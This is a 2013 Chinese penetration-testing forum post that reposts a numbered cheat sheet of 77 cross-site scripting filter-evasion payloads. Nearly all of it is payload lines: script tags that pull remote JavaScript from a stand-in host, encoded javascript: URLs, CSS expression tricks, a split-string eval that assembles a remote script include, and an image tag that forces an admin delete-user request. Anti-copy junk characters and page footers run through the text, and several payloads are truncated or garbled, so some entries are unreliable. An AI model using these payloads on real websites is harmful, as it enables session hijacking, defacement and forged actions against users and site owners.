中国网络渗透测试联盟

标题: XSS攻击汇总 [打印本页]

作者: admin    时间: 2013-4-19 19:22
标题: XSS攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。% y2 p% {5 `2 o+ L( c0 A( J! M. S
(1)普通的XSS JavaScript注入' B; m& `5 `* L; E6 ^: q, `
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
& D7 S. y1 U1 r2 H(2)IMG标签XSS使用JavaScript命令; R9 Q6 ?0 }- o
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ `5 _4 R! e: ]4 f3 a' a6 u  n(3)IMG标签无分号无引号7 }( @( Y/ G/ T6 p& E. _9 \
<IMG SRC=javascript:alert(‘XSS’)>
* Z+ `) x9 n, t6 _0 }(4)IMG标签大小写不敏感, X# F6 g6 Z  F0 W# B  l
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
9 _) d9 n) W4 i; d1 o(5)HTML编码(必须有分号)
; b/ p, d1 u% v<IMG SRC=javascript:alert(“XSS”)>1 S, e! y' d* |0 C6 t- H
(6)修正缺陷IMG标签
* B2 ?& d( }0 ]) ]9 y<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>2 U5 ], q! a: O7 S7 }+ G, `! F

9 |4 Z" \& i; |' z0 Q2 P8 @$ o3 S% I# ?! |4 U" Y
(7)formCharCode标签(计算器)
! w/ l' ^/ n, I  O! l<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>; O+ q* P* r& G. [/ O8 o
(8)UTF-8的Unicode编码(计算器)9 J. d" w1 F* w0 t
<IMG SRC=jav..省略..S')>
8 x0 o3 F: q+ L  a( Y" ?! U(9)7位的UTF-8的Unicode编码是没有分号的(计算器)4 F" ]/ i9 X. u3 @$ L
<IMG SRC=jav..省略..S')>
( J) R2 R, I6 O7 W(10)十六进制编码也是没有分号(计算器)
7 q! Z3 x9 c; }' _<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
* _4 l) G( K& ~+ ~  |) ](11)嵌入式标签,将Javascript分开+ b2 e) q9 Q: v& F! ?
<IMG SRC=”jav ascript:alert(‘XSS’);”>
9 Y& O. J2 n9 t7 w# v: b& Z8 P/ M(12)嵌入式编码标签,将Javascript分开1 D1 s3 S& D) h, P
<IMG SRC=”jav ascript:alert(‘XSS’);”>
/ A0 L0 O/ N5 E$ i(13)嵌入式换行符
* D" d8 n* f! S. `: V<IMG SRC=”jav ascript:alert(‘XSS’);”>- h. I/ `" M& \6 H* _5 c/ O
(14)嵌入式回车
$ d2 ?7 G; J3 ~<IMG SRC=”jav ascript:alert(‘XSS’);”>
3 R% U! }9 ?8 Z' F) p(15)嵌入式多行注入JavaScript,这是XSS极端的例子
+ b8 d& K$ b& J  ?7 Z$ Y2 B: q<IMG SRC=”javascript:alert(‘XSS‘)”>4 S% r1 {. O$ ^8 b5 m  e0 Q
(16)解决限制字符(要求同页面)
9 h# I8 p. _% p' g# Y<script>z=’document.’</script>$ a/ i0 b4 [% v& g3 M! m
<script>z=z+’write(“‘</script>; l; {0 ~  u& j0 U9 d  ^
<script>z=z+’<script’</script>0 b/ I, ?3 h! y" h3 j, s$ n
<script>z=z+’ src=ht’</script>: q' G4 X/ p0 P/ F; M2 e
<script>z=z+’tp://ww’</script>" Z2 }0 y" s/ J2 Y' {' j; L2 `
<script>z=z+’w.shell’</script>
( S9 T* S! `& b6 s" H4 B<script>z=z+’.net/1.’</script>  C8 E( h. m; Q# ]* k
<script>z=z+’js></sc’</script>& X4 _$ t  F2 l
<script>z=z+’ript>”)’</script>
- `4 f8 O+ o' D8 `( S1 q<script>eval_r(z)</script>
0 g5 t6 P" V- W% l(17)空字符12-7-1 T00LS - Powered by Discuz! Board
& J& @/ M2 V  H+ c; v* R$ qhttps://www.t00ls.net/viewthread ... table&tid=15267 2/6; j" y5 Q6 M6 F4 L) q  s& k
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out# w% j4 {% F- m: M
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用! H% x/ p, k( x) R. R9 v( y4 F2 I# A
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out4 |3 u- K7 A5 g0 [. {
(19)Spaces和meta前的IMG标签, D: V- \3 S, K4 z& w* q
<IMG SRC=” javascript:alert(‘XSS’);”>
7 w2 X* H2 ]# x3 u(20)Non-alpha-non-digit XSS
4 e8 h  \/ p5 R<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>; I, R- a4 W2 Y- A5 {4 A
(21)Non-alpha-non-digit XSS to 22 n7 W$ R- T( W3 i6 l5 }" T
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
$ z- k3 Z% z: k' m" R% `$ z(22)Non-alpha-non-digit XSS to 3% D5 h7 P) \. G0 J8 R2 ]
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>5 j7 Z/ \2 ^+ R; X
(23)双开括号0 r2 D) M' o% {7 L
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
0 M$ L& B9 v! K# B& l2 j5 F(24)无结束脚本标记(仅火狐等浏览器), r. t5 A7 c" v( p
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
; f2 }$ q7 [0 s/ H(25)无结束脚本标记2" g1 R2 x# s; T! a) P. C
<SCRIPT SRC=//3w.org/XSS/xss.js>7 \( ?! C# U9 n0 j" t6 N2 t
(26)半开的HTML/JavaScript XSS, `! \! I6 Z' e. b3 Y! S! ~0 w) R
<IMG SRC=”javascript:alert(‘XSS’)”
; F' z1 K" z' H  {' z* m+ o& {% M0 R(27)双开角括号
2 ^- \& b1 N2 s  M<iframe src=http://3w.org/XSS.html <
/ E3 Q$ s( L9 q/ D, f; R6 n2 P; M- ?' J(28)无单引号 双引号 分号
1 `( W" [. H- f<SCRIPT>a=/XSS/
% D! Z; p, ~7 {& Walert(a.source)</SCRIPT>
: {4 Y" ?' z! ?2 p+ ]5 E1 ~(29)换码过滤的JavaScript+ b+ ]5 ^. a0 L: w( F
\”;alert(‘XSS’);//  g/ V" |# V4 L. q3 G$ r
(30)结束Title标签+ y! n: b4 @- U
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT># d" M+ W1 t0 Y
(31)Input Image/ s) I5 `0 I% p9 J+ f
<INPUT SRC=”javascript:alert(‘XSS’);”>, c; O( }0 j0 X( P4 p' F. Y3 F
(32)BODY Image7 O0 I. k% `& }) q# L6 S9 J9 x
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
  E& X9 G+ Z3 I. M5 [(33)BODY标签7 ?7 ~! v# M# q/ c
<BODY(‘XSS’)>, }  l1 F7 Q5 `4 o. V7 B# n
(34)IMG Dynsrc5 d. h  E# `+ V  @, `
<IMG DYNSRC=”javascript:alert(‘XSS’)”>) ~' [, e4 y, J) L9 f  a8 i
(35)IMG Lowsrc0 K6 v! K. ]% _0 `
<IMG LOWSRC=”javascript:alert(‘XSS’)”>0 o  J8 O" b2 U9 m% y2 N' N0 l. d
(36)BGSOUND
3 t) ]( U) C; b. P; H5 Q) d: y<BGSOUND SRC=”javascript:alert(‘XSS’);”>
" Z- ]6 `2 j$ C  a(37)STYLE sheet4 `+ S! x$ k( }6 F
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
. W. A# ?7 p+ N) D; \0 p( G, s/ ^8 S(38)远程样式表9 [2 o0 O' R' a  l2 f
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>1 f0 F% M; B9 W  O
(39)List-style-image(列表式)
0 _/ S+ B( Q- g<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS  B! s0 @( }  I" o% H' M5 r* u' z
(40)IMG VBscript
# _. [0 m- p$ J, |<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
' S8 C$ w$ }  H3 v5 |(41)META链接url6 [: P& D- }/ M/ Z
; h* q. `3 \9 j6 i" e: k: U
8 S6 G  g$ I: g" R- v+ R
<META HTTP-EQUIV=”refresh” CONTENT=”0;
  C* Q% {( u0 k, a& fURL=http://;URL=javascript:alert(‘XSS’);”>
% i/ ~$ H; c- m8 O( N1 D(42)Iframe
, ]$ X5 N$ F! Q- g4 q<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
8 `6 _) O( T$ ?/ K% f(43)Frame
9 g2 [" c" I5 z; e' Y6 v<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
: U( y1 a" j5 c0 o& f, Thttps://www.t00ls.net/viewthread ... table&tid=15267 3/6
4 r. p  h1 _$ V9 Z% c(44)Table
5 M. x5 v2 W) }/ c9 \<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>, T5 }2 [$ h' U* ^1 b8 g
(45)TD
8 i# \6 e9 D# L% v( n<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
, ^: S; e- [4 y  u2 B; |(46)DIV background-image2 U% r0 c9 @" A8 R
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
. A6 X9 ~  [7 j& v(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
7 i: X! k/ m) K  s; N% {6 |8 }8 n8&13&12288&65279)
2 V4 m) n$ z' o  }) q/ `* F<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>/ `; H: U4 K$ ~' m$ H; @6 x
(48)DIV expression
" v1 y7 ]1 [' m1 \<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
" P( }/ c- `: ~' O! e(49)STYLE属性分拆表达
  e! @3 i, z9 o<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
) `# R; h, l# B1 f' m- Z. y0 z(50)匿名STYLE(组成:开角号和一个字母开头)0 n7 j1 v0 b+ i1 [& r: S
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>3 L8 I9 C. K8 Z( `4 c
(51)STYLE background-image. O# ?( @4 W2 P9 t, v
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
/ J) w  n+ F# }8 w, [CLASS=XSS></A>& t" O  _! p, G9 c; c  W
(52)IMG STYLE方式
( L1 @- V/ `$ ~( q- g. B7 l/ c0 C2 qexppression(alert(“XSS”))’>& }& {! R& ]$ K' I( C# z+ |
(53)STYLE background# q: y" f  y) Q8 z' T1 O3 [3 z
<STYLE><STYLE
$ Q: P* S% m7 otype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
( K+ B0 D" X0 D: y(54)BASE
( g1 K% _9 N, j<BASE HREF=”javascript:alert(‘XSS’);//”>
. Y7 I- W$ D# ^8 V: V6 A(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
, J1 \  K0 [$ G% \<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
2 [( Z' ~2 y# L# K2 }1 d(56)在flash中使用ActionScrpt可以混进你XSS的代码$ j) E  m3 c9 [/ a0 l( V. r
a=”get”;
" h- i8 v# ]# N. S( pb=”URL(\”";
* g' x3 b- s; n$ a3 Z1 C# q2 kc=”javascript:”;2 x; o' f: F: ~0 C$ V7 Q, {
d=”alert(‘XSS’);\”)”;
* ?4 |& {, Q! k  w# U5 |. ^8 W9 ^% seval_r(a+b+c+d);% C7 q1 r5 {8 N4 T$ ?; ^- C* r. F
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
5 c( B7 ~5 B! @/ U<HTML xmlns:xss>
9 ~5 C/ R8 d* t1 {$ v0 M  Q<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
. \9 U6 ~; v" q5 G7 ?8 Z<xss:xss>XSS</xss:xss>! c, i) X0 @  e$ R* b- a: P/ ]. v
</HTML>
# T, R0 d; R8 D0 O(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
. e6 [" a/ C/ X- A) R<SCRIPT SRC=””></SCRIPT>. R% `' T- {2 h/ y$ y4 y
(59)IMG嵌入式命令,可执行任意命令
  `$ \9 _7 t* W) N. J<IMG SRC=”http://www.XXX.com/a.php?a=b”>
5 s7 y7 W" ^$ _( V3 E8 a# {(60)IMG嵌入式命令(a.jpg在同服务器)- t9 U% o9 z1 a6 a" D* t
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser/ J, ?3 H1 {: d: P+ v5 M
(61)绕符号过滤
& f& M, `' d) `% r* u8 T<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
5 t) v' [! y6 A& g5 x8 r: C) t(62)
  W+ K, P8 m/ g; S& w4 t7 `<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
. ^# a9 h0 m$ u7 T/ j/ i' @/ i(63)5 o4 d( ]0 s) `9 f' G4 B
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
1 N) h" @# T# n7 l5 p(64)) t- H7 X& [, t- E) j* b: H
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
) y# T# v) K5 S. k% X3 J(65)1 O3 g! _# Y2 y
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>% |% g; i' D) r- y
(66)12-7-1 T00LS - Powered by Discuz! Board
# N" |8 x5 g! Ehttps://www.t00ls.net/viewthread ... table&tid=15267 4/6- f/ g9 Q* j# \1 u+ N
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ l1 R& p0 G, G" \8 n4 [) t+ Y(67)0 ]' Y+ P% P9 y( H* a
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
; M( a5 o6 e1 C5 _$ z</SCRIPT>" X- }& l' P0 [$ A2 Q" I5 b0 G
(68)URL绕行
2 G+ c/ J, g6 q6 \<A HREF=”http://127.0.0.1/”>XSS</A>/ }- Y/ [' e: T5 W7 Y) t' a* c* W2 F
(69)URL编码
" u$ n* Q9 R( _5 q. E% |7 |<A HREF=”http://3w.org”>XSS</A>
8 F9 G1 E! P3 ]" j3 h7 x4 C6 S(70)IP十进制+ X+ G6 a9 q; Q: z
<A HREF=”http://3232235521″>XSS</A>0 Z. H- _2 k! @* x/ ]; u
(71)IP十六进制
) @2 \6 g# E! h8 p5 |<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
4 G+ I+ P: K* T& `) _: O! ]7 i(72)IP八进制! G+ s! U8 g8 e9 ?2 R( u- C
<A HREF=”http://0300.0250.0000.0001″>XSS</A>0 i7 \- R4 G2 @
(73)混合编码
( U& u! M0 g7 f! Y( q<A HREF=”h
5 \/ v2 c; d0 r  w# y  ]8 vtt p://6 6.000146.0×7.147/”">XSS</A>$ I, M9 ~" e8 H5 P! b; F
(74)节省[http:]% G0 k/ y+ Q+ R$ _1 z7 k
<A HREF=”//www.google.com/”>XSS</A>. j  r5 H, O' j% L( j
(75)节省[www]/ p8 @7 z6 v) z! J, [
<A HREF=”http://google.com/”>XSS</A>& L- ~$ \. B9 T  S- I$ @0 W1 R
(76)绝对点绝对DNS( g) H  J" p7 A  V3 [
<A HREF=”http://www.google.com./”>XSS</A>: i5 c5 \1 [( e/ F0 X& o
(77)javascript链接. I! e$ e7 e% O! e, g
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
3 J- s8 @3 O( k  h/ B8 ^) D
1 ?! D* q2 _( f原文地址:http://fuzzexp.org/u/0day/?p=14
9 o% I: z. x& l2 G; I& r+ I# R0 Z





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2